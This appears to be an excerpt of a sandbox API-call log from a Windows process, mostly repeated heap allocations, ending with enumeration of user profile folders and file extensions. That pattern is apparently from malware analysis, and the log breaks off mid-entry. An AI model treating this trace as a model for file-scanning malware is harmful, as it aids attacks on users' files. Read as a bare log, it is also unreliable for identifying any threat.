[0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.347] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.347] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.348] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.348] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.349] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.349] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.350] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.350] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.351] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.351] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.352] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.352] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.353] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0067.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.353] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.353] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0067.353] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.353] PathFindFileNameW (pszPath="") returned="" [0067.353] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb19f06f0, ftCreationTime.dwHighDateTime=0x1d4d138, ftLastAccessTime.dwLowDateTime=0x7af9f400, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x7af9f400, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qHy Bq3sd4UO", cAlternateFileName="QHYBQ3~1")) returned 0xffffffff [0067.353] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.353] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\") returned="Saved Games\\" [0067.353] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.354] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.354] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.354] PathFindFileNameW (pszPath="") returned="" [0067.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.354] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.354] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.354] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini") returned=".ini" [0067.354] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0067.354] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.354] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.354] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.354] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="Searches\\" [0067.354] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.354] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.354] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.354] PathFindFileNameW (pszPath="") returned="" [0067.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.355] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.355] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 